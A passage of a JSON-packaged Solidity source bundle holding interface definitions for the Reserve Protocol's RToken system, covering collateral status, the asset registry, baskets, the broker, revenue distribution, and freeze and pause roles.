{\n SOUND,\n IFFY, // When a peg is not holding or a chainlink feed is stale\n DISABLED // When the collateral has completely defaulted\n}\n\n/// Upgrade-safe maximum operator for CollateralStatus\nlibrary CollateralStatusComparator {\n /// @return Whether a is worse than b\n function worseThan(CollateralStatus a, CollateralStatus b) internal pure returns (bool) {\n return uint256(a) > uint256(b);\n }\n}\n\n/\n @title ICollateral\n * @notice A subtype of Asset that consists of the tokens eligible to back the RToken.\n /\ninterface ICollateral is IAsset {\n /// Emitted whenever the collateral status is changed\n /// @param newStatus The old CollateralStatus\n /// @param newStatus The updated CollateralStatus\n event CollateralStatusChanged(\n CollateralStatus indexed oldStatus,\n CollateralStatus indexed newStatus\n );\n\n /// @dev refresh()\n /// Refresh exchange rates and update default status.\n /// VERY IMPORTANT: In any valid implemntation, status() MUST become DISABLED in refresh() if\n /// refPerTok() has ever decreased since last call.\n\n /// @return The canonical name of this collateral's target unit.\n function targetName() external view returns (bytes32);\n\n /// @return The status of this collateral asset. (Is it defaulting? Might it soon?)\n function status() external view returns (CollateralStatus);\n\n // ==== Exchange Rates ====\n\n /// @return {ref/tok} Quantity of whole reference units per whole collateral tokens\n function refPerTok() external view returns (uint192);\n\n /// @return {target/ref} Quantity of whole target units per whole reference unit in the peg\n function targetPerRef() external view returns (uint192);\n}\n\n// Used only in Testing. Strictly speaking a Collateral does not need to adhere to this interface\ninterface TestICollateral is TestIAsset, ICollateral {\n /// @return The epoch timestamp when the collateral will default from IFFY to DISABLED\n function whenDefault() external view returns (uint256);\n\n /// @return The amount of time a collateral must be in IFFY status until being DISABLED\n function delayUntilDefault() external view returns (uint48);\n\n /// @return The underlying refPerTok, likely not included in all collaterals however.\n function underlyingRefPerTok() external view returns (uint192);\n}\n" }, "contracts/interfaces/IAssetRegistry.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\n/// A serialization of the AssetRegistry to be passed around in the P1 impl for gas optimization\nstruct Registry {\n IERC20[] erc20s;\n IAsset[] assets;\n}\n\n/\n @title IAssetRegistry\n * @notice The AssetRegistry is in charge of maintaining the ERC20 tokens eligible\n * to be handled by the rest of the system. If an asset is in the registry, this means:\n * 1. Its ERC20 contract has been vetted\n * 2. The asset is the only asset for that ERC20\n * 3. The asset can be priced in the UoA, usually via an oracle\n /\ninterface IAssetRegistry is IComponent {\n /// Emitted when an asset is added to the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract added to the registry\n event AssetRegistered(IERC20 indexed erc20, IAsset indexed asset);\n\n /// Emitted when an asset is removed from the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract removed from the registry\n event AssetUnregistered(IERC20 indexed erc20, IAsset indexed asset);\n\n // Initialization\n function init(IMain main_, IAsset[] memory assets_) external;\n\n /// Fully refresh all asset state\n /// @custom:refresher\n function refresh() external;\n\n /// Register `asset`\n /// If either the erc20 address or the asset was already registered, fail\n /// @return true if the erc20 address was not already registered.\n /// @custom:governance\n function register(IAsset asset) external returns (bool);\n\n /// Register `asset` if and only if its erc20 address is already registered.\n /// If the erc20 address was not registered, revert.\n /// @return swapped If the asset was swapped for a previously-registered asset\n /// @custom:governance\n function swapRegistered(IAsset asset) external returns (bool swapped);\n\n /// Unregister an asset, requiring that it is already registered\n /// @custom:governance\n function unregister(IAsset asset) external;\n\n /// @return {s} The timestamp of the last refresh\n function lastRefresh() external view returns (uint48);\n\n /// @return The corresponding asset for ERC20, or reverts if not registered\n function toAsset(IERC20 erc20) external view returns (IAsset);\n\n /// @return The corresponding collateral, or reverts if unregistered or not collateral\n function toColl(IERC20 erc20) external view returns (ICollateral);\n\n /// @return If the ERC20 is registered\n function isRegistered(IERC20 erc20) external view returns (bool);\n\n /// @return A list of all registered ERC20s\n function erc20s() external view returns (IERC20[] memory);\n\n /// @return reg The list of registered ERC20s and Assets, in the same order\n function getRegistry() external view returns (Registry memory reg);\n\n /// @return The number of registered ERC20s\n function size() external view returns (uint256);\n}\n" }, "contracts/interfaces/IBackingManager.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./IRToken.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\n\n/// Memory struct for RecollateralizationLibP1 + RTokenAsset\n/// Struct purposes:\n/// 1. Configure trading\n/// 2. Stay under stack limit with fewer vars\n/// 3. Cache information such as component addresses and basket quantities, to save on gas\nstruct TradingContext {\n BasketRange basketsHeld; // {BU}\n // basketsHeld.top is the number of partial baskets units held\n // basketsHeld.bottom is the number of full basket units held\n\n // Components\n IBasketHandler bh;\n IAssetRegistry ar;\n IStRSR stRSR;\n IERC20 rsr;\n IRToken rToken;\n // Gov Vars\n uint192 minTradeVolume; // {UoA}\n uint192 maxTradeSlippage; // {1}\n // Cached values\n uint192[] quantities; // {tok/BU} basket quantities\n uint192[] bals; // {tok} balances in BackingManager + out on trades\n}\n\n/\n @title IBackingManager\n * @notice The BackingManager handles changes in the ERC20 balances that back an RToken.\n * - It computes which trades to perform, if any, and initiates these trades with the Broker.\n * - rebalance()\n * - If already collateralized, excess assets are transferred to RevenueTraders.\n * - forwardRevenue(IERC20[] calldata erc20s)\n /\ninterface IBackingManager is IComponent, ITrading {\n /// Emitted when the trading delay is changed\n /// @param oldVal The old trading delay\n /// @param newVal The new trading delay\n event TradingDelaySet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the backing buffer is changed\n /// @param oldVal The old backing buffer\n /// @param newVal The new backing buffer\n event BackingBufferSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 tradingDelay_,\n uint192 backingBuffer_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n // Give RToken max allowance over a registered token\n /// @custom:refresher\n /// @custom:interaction\n function grantRTokenAllowance(IERC20) external;\n\n /// Apply the overall backing policy using the specified TradeKind, taking a haircut if unable\n /// @param kind TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n /// @custom:interaction RCEI\n function rebalance(TradeKind kind) external;\n\n /// Forward revenue to RevenueTraders; reverts if not fully collateralized\n /// @param erc20s The tokens to forward\n /// @custom:interaction RCEI\n function forwardRevenue(IERC20[] calldata erc20s) external;\n\n /// Structs for trading\n /// @param basketsHeld The number of baskets held by the BackingManager\n /// @return ctx The TradingContext\n /// @return reg Contents of AssetRegistry.getRegistry()\n function tradingContext(BasketRange memory basketsHeld)\n external\n view\n returns (TradingContext memory ctx, Registry memory reg);\n}\n\ninterface TestIBackingManager is IBackingManager, TestITrading {\n function tradingDelay() external view returns (uint48);\n\n function backingBuffer() external view returns (uint192);\n\n function setTradingDelay(uint48 val) external;\n\n function setBackingBuffer(uint192 val) external;\n}\n" }, "contracts/interfaces/IBasketHandler.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\nstruct BasketRange {\n uint192 bottom; // {BU}\n uint192 top; // {BU}\n}\n\n/\n @title IBasketHandler\n * @notice The BasketHandler aims to maintain a reference basket of constant target unit amounts.\n * When a collateral token defaults, a new reference basket of equal target units is set.\n * When _all_ collateral tokens default for a target unit, only then is the basket allowed to fall\n * in terms of target unit amounts. The basket is considered defaulted in this case.\n /\ninterface IBasketHandler is IComponent {\n /// Emitted when the prime basket is set\n /// @param erc20s The collateral tokens for the prime basket\n /// @param targetAmts {target/BU} A list of quantities of target unit per basket unit\n /// @param targetNames Each collateral token's targetName\n event PrimeBasketSet(IERC20[] erc20s, uint192[] targetAmts, bytes32[] targetNames);\n\n /// Emitted when the reference basket is set\n /// @param nonce {basketNonce} The basket nonce\n /// @param erc20s The list of collateral tokens in the reference basket\n /// @param refAmts {ref/BU} The reference amounts of the basket collateral tokens\n /// @param disabled True when the list of erc20s + refAmts may not be correct\n event BasketSet(uint256 indexed nonce, IERC20[] erc20s, uint192[] refAmts, bool disabled);\n\n /// Emitted when a backup config is set for a target unit\n /// @param targetName The name of the target unit as a bytes32\n /// @param max The max number to use from `erc20s`\n /// @param erc20s The set of backup collateral tokens\n event BackupConfigSet(bytes32 indexed targetName, uint256 max, IERC20[] erc20s);\n\n /// Emitted when the warmup period is changed\n /// @param oldVal The old warmup period\n /// @param newVal The new warmup period\n event WarmupPeriodSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the status of a basket has changed\n /// @param oldStatus The previous basket status\n /// @param newStatus The new basket status\n event BasketStatusChanged(CollateralStatus oldStatus, CollateralStatus newStatus);\n\n /// Emitted when the last basket nonce available for redemption is changed\n /// @param oldVal The old value of lastCollateralized\n /// @param newVal The new value of lastCollateralized\n event LastCollateralizedChanged(uint48 oldVal, uint48 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 warmupPeriod_,\n bool reweightable_\n ) external;\n\n /// Set the prime basket\n /// For an index RToken (reweightable = true), use forceSetPrimeBasket to skip normalization\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function setPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the prime basket without normalizing targetAmts by the UoA of the current basket\n /// Works the same as setPrimeBasket for non-index RTokens (reweightable = false)\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function forceSetPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the backup configuration for a given target\n /// @param targetName The name of the target as a bytes32\n /// @param max The maximum number of collateral tokens to use from this target\n /// Required range: 1-255\n /// @param erc20s A list of ordered backup collateral tokens\n /// @custom:governance\n function setBackupConfig(\n bytes32 targetName,\n uint256 max,\n IERC20[] calldata erc20s\n ) external;\n\n /// Default the basket in order to schedule a basket refresh\n /// @custom:protected\n function disableBasket() external;\n\n /// Governance-controlled setter to cause a basket switch explicitly\n /// @custom:governance\n /// @custom:interaction\n function refreshBasket() external;\n\n /// Track the basket status changes\n /// @custom:refresher\n function trackStatus() external;\n\n /// Track when last collateralized\n /// @custom:refresher\n function trackCollateralization() external;\n\n /// @return If the BackingManager has sufficient collateral to redeem the entire RToken supply\n function fullyCollateralized() external view returns (bool);\n\n /// @return status The worst CollateralStatus of all collateral in the basket\n function status() external view returns (CollateralStatus status);\n\n /// @return If the basket is ready to issue and trade\n function isReady() external view returns (bool);\n\n /// @param erc20 The ERC20 token contract for the asset\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantity(IERC20 erc20) external view returns (uint192);\n\n /// Like quantity(), but unsafe because it DOES NOT CONFIRM THAT THE ASSET IS CORRECT\n /// @param erc20 The ERC20 token contract for the asset\n /// @param asset The registered asset plugin contract for the erc20\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantityUnsafe(IERC20 erc20, IAsset asset) external view returns (uint192);\n\n /// @param amount {BU}\n /// @return erc20s The addresses of the ERC20 tokens in the reference basket\n /// @return quantities {qTok} The quantity of each ERC20 token to issue `amount` baskets\n function quote(uint192 amount, RoundingMode rounding)\n external\n view\n returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// Return the redemption value of `amount` BUs for a linear combination of historical baskets\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param amount {BU}\n /// @return erc20s The backing collateral erc20s\n /// @return quantities {qTok} ERC20 token quantities equal to `amount` BUs\n function quoteCustomRedemption(\n uint48[] memory basketNonces,\n uint192[] memory portions,\n uint192 amount\n ) external view returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// @return top {BU} The number of partial basket units: e.g max(coll.map((c) => c.balAsBUs())\n /// bottom {BU} The number of whole basket units held by the account\n function basketsHeldBy(address account) external view returns (BasketRange memory);\n\n /// Should not revert\n /// low should be nonzero when BUs are worth selling\n /// @return low {UoA/BU} The lower end of the price estimate\n /// @return high {UoA/BU} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero if a BU could be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return timestamp The timestamp at which the basket was last set\n function timestamp() external view returns (uint48);\n\n /// @return The current basket nonce, regardless of status\n function nonce() external view returns (uint48);\n}\n\ninterface TestIBasketHandler is IBasketHandler {\n function warmupPeriod() external view returns (uint48);\n\n function setWarmupPeriod(uint48 val) external;\n}\n" }, "contracts/interfaces/IBroker.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IGnosis.sol\";\nimport \"./ITrade.sol\";\n\nenum TradeKind {\n DUTCH_AUCTION,\n BATCH_AUCTION\n}\n\n/// Cache of all prices for a pair to prevent re-lookup\nstruct TradePrices {\n uint192 sellLow; // {UoA/sellTok} can be 0\n uint192 sellHigh; // {UoA/sellTok} should not be 0\n uint192 buyLow; // {UoA/buyTok} should not be 0\n uint192 buyHigh; // {UoA/buyTok} should not be 0 or FIX_MAX\n}\n\n/// The data format that describes a request for trade with the Broker\nstruct TradeRequest {\n IAsset sell;\n IAsset buy;\n uint256 sellAmount; // {qSellTok}\n uint256 minBuyAmount; // {qBuyTok}\n}\n\n/\n @title IBroker\n * @notice The Broker deploys oneshot Trade contracts for Traders and monitors\n * the continued proper functioning of trading platforms.\n /\ninterface IBroker is IComponent {\n event GnosisSet(IGnosis oldVal, IGnosis newVal);\n event BatchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event DutchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event BatchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event DutchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event BatchTradeDisabledSet(bool prevVal, bool newVal);\n event DutchTradeDisabledSet(IERC20Metadata indexed erc20, bool prevVal, bool newVal);\n\n // Initialization\n function init(\n IMain main_,\n IGnosis gnosis_,\n ITrade batchTradeImplemention_,\n uint48 batchAuctionLength_,\n ITrade dutchTradeImplemention_,\n uint48 dutchAuctionLength_\n ) external;\n\n /// Request a trade from the broker\n /// @dev Requires setting an allowance in advance\n /// @custom:interaction\n function openTrade(\n TradeKind kind,\n TradeRequest memory req,\n TradePrices memory prices\n ) external returns (ITrade);\n\n /// Only callable by one of the trading contracts the broker deploys\n function reportViolation() external;\n\n function batchTradeDisabled() external view returns (bool);\n\n function dutchTradeDisabled(IERC20Metadata erc20) external view returns (bool);\n}\n\ninterface TestIBroker is IBroker {\n function gnosis() external view returns (IGnosis);\n\n function batchTradeImplementation() external view returns (ITrade);\n\n function dutchTradeImplementation() external view returns (ITrade);\n\n function batchAuctionLength() external view returns (uint48);\n\n function dutchAuctionLength() external view returns (uint48);\n\n function setGnosis(IGnosis newGnosis) external;\n\n function setBatchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setBatchAuctionLength(uint48 newAuctionLength) external;\n\n function setDutchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setDutchAuctionLength(uint48 newAuctionLength) external;\n\n function enableBatchTrade() external;\n\n function enableDutchTrade(IERC20Metadata erc20) external;\n\n // only present on pre-3.0.0 Brokers; used by EasyAuction regression test\n function disabled() external view returns (bool);\n}\n" }, "contracts/interfaces/IComponent.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IMain.sol\";\nimport \"./IVersioned.sol\";\n\n/\n @title IComponent\n * @notice A Component is the central building block of all our system contracts. Components\n * contain important state that must be migrated during upgrades, and they delegate\n * their ownership to Main's owner.\n /\ninterface IComponent is IVersioned {\n function main() external view returns (IMain);\n}\n" }, "contracts/interfaces/IDistributor.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\n\nuint256 constant MAX_DISTRIBUTION = 1e4; // 10,000\nuint8 constant MAX_DESTINATIONS = 100; // maximum number of RevenueShare destinations\n\nstruct RevenueShare {\n uint16 rTokenDist; // {revShare} A value between [0, 10,000]\n uint16 rsrDist; // {revShare} A value between [0, 10,000]\n}\n\n/// Assumes no more than 100 independent distributions.\nstruct RevenueTotals {\n uint24 rTokenTotal; // {revShare}\n uint24 rsrTotal; // {revShare}\n}\n\n/\n @title IDistributor\n * @notice The Distributor Component maintains a revenue distribution table that dictates\n * how to divide revenue across the Furnace, StRSR, and any other destinations.\n /\ninterface IDistributor is IComponent {\n /// Emitted when a distribution is set\n /// @param dest The address set to receive the distribution\n /// @param rTokenDist The distribution of RToken that should go to `dest`\n /// @param rsrDist The distribution of RSR that should go to `dest`\n event DistributionSet(address indexed dest, uint16 rTokenDist, uint16 rsrDist);\n\n /// Emitted when revenue is distributed\n /// @param erc20 The token being distributed, either RSR or the RToken itself\n /// @param source The address providing the revenue\n /// @param amount The amount of the revenue\n event RevenueDistributed(IERC20 indexed erc20, address indexed source, uint256 amount);\n\n // Initialization\n function init(IMain main_, RevenueShare memory dist) external;\n\n /// @custom:governance\n function setDistribution(address dest, RevenueShare memory share) external;\n\n /// Distribute the `erc20` token across all revenue destinations\n /// Only callable by RevenueTraders\n /// @custom:protected\n function distribute(IERC20 erc20, uint256 amount) external;\n\n /// @return revTotals The total of all destinations\n function totals() external view returns (RevenueTotals memory revTotals);\n}\n\ninterface TestIDistributor is IDistributor {\n // solhint-disable-next-line func-name-mixedcase\n function FURNACE() external view returns (address);\n\n // solhint-disable-next-line func-name-mixedcase\n function ST_RSR() external view returns (address);\n\n /// @return rTokenDist The RToken distribution for the address\n /// @return rsrDist The RSR distribution for the address\n function distribution(address) external view returns (uint16 rTokenDist, uint16 rsrDist);\n}\n" }, "contracts/interfaces/IFurnace.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\n\n/\n @title IFurnace\n * @notice A helper contract to burn RTokens slowly and permisionlessly.\n /\ninterface IFurnace is IComponent {\n // Initialization\n function init(IMain main_, uint192 ratio_) external;\n\n /// Emitted when the melting ratio is changed\n /// @param oldRatio The old ratio\n /// @param newRatio The new ratio\n event RatioSet(uint192 oldRatio, uint192 newRatio);\n\n function ratio() external view returns (uint192);\n\n /// Needed value range: [0, 1], granularity 1e-9\n /// @custom:governance\n function setRatio(uint192) external;\n\n /// Performs any RToken melting that has vested since the last payout.\n /// @custom:refresher\n function melt() external;\n}\n\ninterface TestIFurnace is IFurnace {\n function lastPayout() external view returns (uint256);\n\n function lastPayoutBal() external view returns (uint256);\n}\n" }, "contracts/interfaces/IGnosis.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nstruct GnosisAuctionData {\n IERC20 auctioningToken;\n IERC20 biddingToken;\n uint256 orderCancellationEndDate;\n uint256 auctionEndDate;\n bytes32 initialAuctionOrder;\n uint256 minimumBiddingAmountPerOrder;\n uint256 interimSumBidAmount;\n bytes32 interimOrder;\n bytes32 clearingPriceOrder;\n uint96 volumeClearingPriceOrder;\n bool minFundingThresholdNotReached;\n bool isAtomicClosureAllowed;\n uint256 feeNumerator;\n uint256 minFundingThreshold;\n}\n\n/// The relevant portion of the interface of the live Gnosis EasyAuction contract\n/// https://github.com/gnosis/ido-contracts/blob/main/contracts/EasyAuction.sol\ninterface IGnosis {\n function initiateAuction(\n IERC20 auctioningToken,\n IERC20 biddingToken,\n uint256 orderCancellationEndDate,\n uint256 auctionEndDate,\n uint96 auctionedSellAmount,\n uint96 minBuyAmount,\n uint256 minimumBiddingAmountPerOrder,\n uint256 minFundingThreshold,\n bool isAtomicClosureAllowed,\n address accessManagerContract,\n bytes memory accessManagerContractData\n ) external returns (uint256 auctionId);\n\n function auctionData(uint256 auctionId) external view returns (GnosisAuctionData memory);\n\n /// @param auctionId The external auction id\n /// @dev See here for decoding: https://git.io/JMang\n /// @return encodedOrder The order, encoded in a bytes 32\n function settleAuction(uint256 auctionId) external returns (bytes32 encodedOrder);\n\n /// @return The numerator over a 1000-valued denominator\n function feeNumerator() external returns (uint256);\n}\n" }, "contracts/interfaces/IMain.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBackingManager.sol\";\nimport \"./IBroker.sol\";\nimport \"./IGnosis.sol\";\nimport \"./IFurnace.sol\";\nimport \"./IDistributor.sol\";\nimport \"./IRToken.sol\";\nimport \"./IRevenueTrader.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\nimport \"./IVersioned.sol\";\n\n// === Auth roles ===\n\nbytes32 constant OWNER = bytes32(bytes(\"OWNER\"));\nbytes32 constant SHORT_FREEZER = bytes32(bytes(\"SHORT_FREEZER\"));\nbytes32 constant LONG_FREEZER = bytes32(bytes(\"LONG_FREEZER\"));\nbytes32 constant PAUSER = bytes32(bytes(\"PAUSER\"));\n\n/\n Main is a central hub that maintains a list of Component contracts.\n \n Components:\n * - perform a specific function\n * - defer auth to Main\n * - usually (but not always) contain sizeable state that require a proxy\n /\nstruct Components {\n // Definitely need proxy\n IRToken rToken;\n IStRSR stRSR;\n IAssetRegistry assetRegistry;\n IBasketHandler basketHandler;\n IBackingManager backingManager;\n IDistributor distributor;\n IFurnace furnace;\n IBroker broker;\n IRevenueTrader rsrTrader;\n IRevenueTrader rTokenTrader;\n}\n\ninterface IAuth is IAccessControlUpgradeable {\n /// Emitted when `unfreezeAt` is changed\n /// @param oldVal The old value of `unfreezeAt`\n /// @param newVal The new value of `unfreezeAt`\n event UnfreezeAtSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the short freeze duration governance param is changed\n /// @param oldDuration The old short freeze duration\n /// @param newDuration The new short freeze duration\n event ShortFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the long freeze duration governance param is changed\n /// @param oldDuration The old long freeze duration\n /// @param newDuration The new long freeze duration\n event LongFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the system is paused or unpaused for trading\n /// @param oldVal The old value of `tradingPaused`\n /// @param newVal The new value of `tradingPaused`\n event TradingPausedSet(bool oldVal, bool newVal);\n\n /// Emitted when the system is paused or unpaused for issuance\n /// @param oldVal The old value of `issuancePaused`\n /// @param newVal The new value of `issuancePaused`\n event IssuancePausedSet(bool oldVal, bool newVal);\n\n /\n Trading Paused: Disable everything except for OWNER actions, RToken.issue, RToken.redeem,\n * StRSR.stake, and StRSR.payoutRewards\n * Issuance Paused: Disable RToken.issue\n * Frozen: Disable everything except for OWNER actions + StRSR.stake (for governance)\n /\n\n function tradingPausedOrFrozen() external view returns (bool);\n\n function issuancePausedOrFrozen() external view returns (bool);\n\n function frozen() external view returns (bool);\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n // ====\n\n // onlyRole(OWNER)\n function freezeForever() external;\n\n // onlyRole(SHORT_FREEZER)\n function freezeShort() external;\n\n // onlyRole(LONG_FREEZER)\n function freezeLong() external;\n\n // onlyRole(OWNER)\n function unfreeze() external;\n\n function pauseTrading() external;\n\n function unpauseTrading() external;\n\n function pauseIssuance() external;\n\n function unpauseIssuance() external;\n}\n\ninterface IComponentRegistry {\n // === Component setters/getters ===\n\n event RTokenSet(IRToken indexed oldVal, IRToken indexed newVal);\n\n function rToken() external view returns (IRToken);\n\n event StRSRSet(IStRSR oldVal, IStRSR newVal);\n\n function stRSR() external view returns (IStRSR);\n\n event AssetRegistrySet(IAssetRegistry oldVal, IAssetRegistry newVal);\n\n function assetRegistry() external view returns (IAssetRegistry);\n\n event BasketHandlerSet(IBasketHandler oldVal, IBasketHandler newVal);\n\n function basketHandler() external view returns (IBasketHandler);\n\n event BackingManagerSet(IBackingManager oldVal, IBackingManager newVal);\n\n function backingManager() external view returns (IBackingManager);\n\n event DistributorSet(IDistributor oldVal, IDistributor newVal);\n\n function distributor() external view returns (IDistributor);\n\n event RSRTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rsrTrader() external view returns (IRevenueTrader);\n\n event RTokenTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rTokenTrader() external view returns (IRevenueTrader);\n\n event FurnaceSet(IFurnace oldVal, IFurnace newVal);\n\n function furnace() external view returns (IFurnace);\n\n event BrokerSet(IBroker oldVal, IBroker newVal);\n\n function broker() external view returns (IBroker);\n}\n\n/\n @title IMain\n * @notice The central hub for the entire system. Maintains components and an owner singleton role\n /\ninterface IMain is IVersioned, IAuth, IComponentRegistry {\n function poke() external; // not used in p1\n\n // === Initialization ===\n\n event MainInitialized();\n\n function init(\n Components memory components,\n IERC20 rsr_,\n uint48 shortFreeze_,\n uint48 longFreeze_\n ) external;\n\n function rsr() external view returns (IERC20);\n}\n\ninterface TestIMain is IMain {\n /// @custom:governance\n function setShortFreeze(uint48) external;\n\n /// @custom:governance\n function setLongFreeze(uint48) external;\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n function longFreezes(address account) external view returns (uint256);\n\n function tradingPaused() external view returns (bool);\n\n function issuancePaused() external view returns (bool);\n}\n" }, "contracts/interfaces/IRevenueTrader.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrading.sol\";\n\n/\n @title IRevenueTrader\n * @notice The RevenueTrader is an extension of the trading mixin that trades all\n * assets at its address for a single target asset. There are two runtime instances\n * of the RevenueTrader, 1 for RToken and 1 for RSR.\n /\ninterface IRevenueTrader is IComponent, ITrading {\n // Initialization\n function init(\n IMain main_,\n IERC20 tokenToBuy_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n /// Distribute tokenToBuy to its destinations\n /// @dev Special-case of manageTokens()\n /// @custom:interaction\n function distributeTokenToBuy() external;\n\n /// Return registered ERC20s to the BackingManager if distribution for tokenToBuy is 0\n /// @custom:interaction\n function returnTokens(IERC20[] memory erc20s) external;\n\n /// Process some number of tokens\n /// If the tokenToBuy is included in erc20s, RevenueTrader will distribute it at end of the tx\n /// @param erc20s The ERC20s to manage; can be tokenToBuy or anything registered\n /// @param kinds The kinds of auctions to launch: DUTCH_AUCTION \| BATCH_AUCTION\n /// @custom:interaction\n function manageTokens(IERC20[] memory erc20s, TradeKind[] memory kinds) external;\n\n function tokenToBuy() external view returns (IERC20);\n}\n\n// solhint-disable-next-line no-empty-blocks\ninterface TestIRevenueTrader is IRevenueTrader, TestITrading {\n\n}\n" }, "contracts/interfaces/IRewardable.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/\n @title IRewardable\n * @notice A simple interface mixin to support claiming of rewards.\n /\ninterface IRewardable {\n /// Emitted whenever a reward token balance is claimed\n /// @param erc20 The ERC20 of the reward token\n /// @param amount {qTok}\n event RewardsClaimed(IERC20 indexed erc20, uint256 amount);\n\n /// Claim rewards earned by holding a balance of the ERC20 token\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewards() external;\n}\n\n/\n @title IRewardableComponent\n * @notice A simple interface mixin to support claiming of rewards.\n /\ninterface IRewardableComponent is IRewardable {\n /// Claim rewards for a single ERC20\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewardsSingle(IERC20 erc20) external;\n}\n" }, "contracts/interfaces/IRToken.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"../libraries/Throttle.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport 